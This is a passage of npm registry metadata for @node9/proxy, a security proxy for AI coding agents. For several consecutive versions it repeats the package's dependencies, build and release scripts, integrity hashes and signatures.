from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.8_1777114708527_0.5706198822326278","host":"s3://npm-registry-packages-npm-production"}},"1.12.9":{"name":"@node9/proxy","version":"1.12.9","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.9","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"50d439473158fb10f77cd35172cb52a5a73c5070","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.9.tgz","fileCount":25,"integrity":"sha512-SjMgc4ghaDE9uAb0rpqniPjbIOJXuq0ZODJOHkZyeLgK/8RF0n9aIeENAfZuK+kFaI0/4LG0LqR6egNeUxChbw==","signatures":[{"sig":"MEUCIFPPOsPMGm96yj1/0+PN3Y4v+isgOtqdHg3EfOhvOvvlAiEA18mLEpDFRUCwkDRUPETc9RJtE5UK3tU0RdOpvsXV8io=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.9","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3422858},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"92a3c5719e5f9785289ba979caef284c076d889e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.9_1777115729135_0.6727237129452728","host":"s3://npm-registry-packages-npm-production"}},"1.12.10":{"name":"@node9/proxy","version":"1.12.10","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.10","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b3e95ee07884297648386e2311be3e4b85648331","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.10.tgz","fileCount":25,"integrity":"sha512-8UYHnKi533uB7i9q0ygP38Mt2NRnHW+N3HRfYiOTV24Kd5MfOXYa7lkUIpGxx9AD79gtc54SyroB74nvqtBwsQ==","signatures":[{"sig":"MEYCIQDzUC/efl2jUMbfo6IysYoe4heqloYG+ieVg2w68oMkGgIhAOxyOqeRSYfxgZFOvw8DQW1eihCcmK4vZbm0HKq7p2iH","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.10","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3422659},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8af51cd405b82887ddabefdece2e655ee7bab187","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.10_1777117179612_0.5644385988840195","host":"s3://npm-registry-packages-npm-production"}},"1.12.11":{"name":"@node9/proxy","version":"1.12.11","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.12.11","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"086ccc1588c7cc59eb6dec7166c941810f3d9d18","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.12.11.tgz","fileCount":25,"integrity":"sha512-6Hofd15/RLFH3k9ebzk1I6CWoG26iJ6PF8qFbCUEek5OzGlNnO99jA3cImQ7g1YnDfYekwu3cFTD8TDB1SG5YQ==","signatures":[{"sig":"MEYCIQCAX+FaKIK/uXLLPMzW8qur11j88cJoTGDE0BO7b0CpigIhAPHHLgc3IaCyGtRV+T5DxRalEkeQRz1cfAbD/ehFFhWZ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.12.11","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3423720},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6464570becdf4ee2080ce9570cf9d8866d8a7aaa","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.12.11_1777126677131_0.22404772729463107","host":"s3://npm-registry-packages-npm-production"}},"1.13.0":{"name":"@node9/proxy","version":"1.13.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.13.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7a167508afb0ed851331e0dccacb32f544cf997c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.13.0.tgz","fileCount":25,"integrity":"sha512-FoxPam54HOaTCsTgZVg9Uy3/Tx5Zi+lizriQ0z3zRDb9JQ8noykhrnRqVO7X05FAaaJFu9OkO0j0aeW1/pt2SQ==","signatures":[{"sig":"MEUCIQDq7Ltc6hAcUeTOCysUV/1GjnWgdKP9NB+Uui61UzJJLgIgDRUIl0R25mO4TiiHjVtKVPqzexrV+AyTWjIV/y0cSCs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.13.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3431818},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"778f8a0286359a7b648ed806b2f0cf37b0d1a817","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.13.0_1777192232023_0.37395847161503815","host":"s3://npm-registry-packages-npm-production"}},"1.13.1":{"name":"@node9/proxy","version":"1.13.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.13.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"156e0e31313d964cc774b28a88625d72d8f91d0a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.13.1.tgz","fileCount":25,"integrity":"sha512-v57zkxBXxApsEzmadR3Oio+SMVKOnMJsfukm+e1fmlP4kseZuf4yneyOdaIO9noVbTyhqF4B/sCZ3vXAivtpag==","signatures":[{"sig":"MEYCIQChVN2XPHwhudpjS9egcwy+SIialtPWv18zeYdaAnn2SAIhAI84Tkm2zVFjnzwaLR8GbFvoRTJxejjducQRLFeMKERw","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.13.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3449109},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6f4c6f3465757f82c41bcaefda35885a322d170e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.13.1_1777203765947_0.43717573874217375","host":"s3://npm-registry-packages-npm-production"}},"1.14.0":{"name":"@node9/proxy","version":"1.14.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.14.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5229bdc2bdcf11b32e65340533aaf84f8d32e9e8","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.14.0.tgz","fileCount":26,"integrity":"sha512-r6ik7d1BT2ZehboPcjC7ROxJxCtzrnreXYD1UEtG9aPeQgTBCuEH13EioT/9TvuZ0QBMbXmSUPbvmjC9hFWBvQ==","signatures":[{"sig":"MEUCICnOuK/23zjsYwG0sPUCJABiOYXbvHJ43iq2e/JX7R7+AiEA139fzxPfmlIodXvnlMwznbMZXwfrHhZL7R4Un+9UiWM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.14.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3474089},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4b53030e0e5668ed77a5afb8ce87b1589d8c7a18","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.14.0_1777273715370_0.8508724179856342","host":"s3://npm-registry-packages-npm-production"}},"1.14.1":{"name":"@node9/proxy","version":"1.14.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.14.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.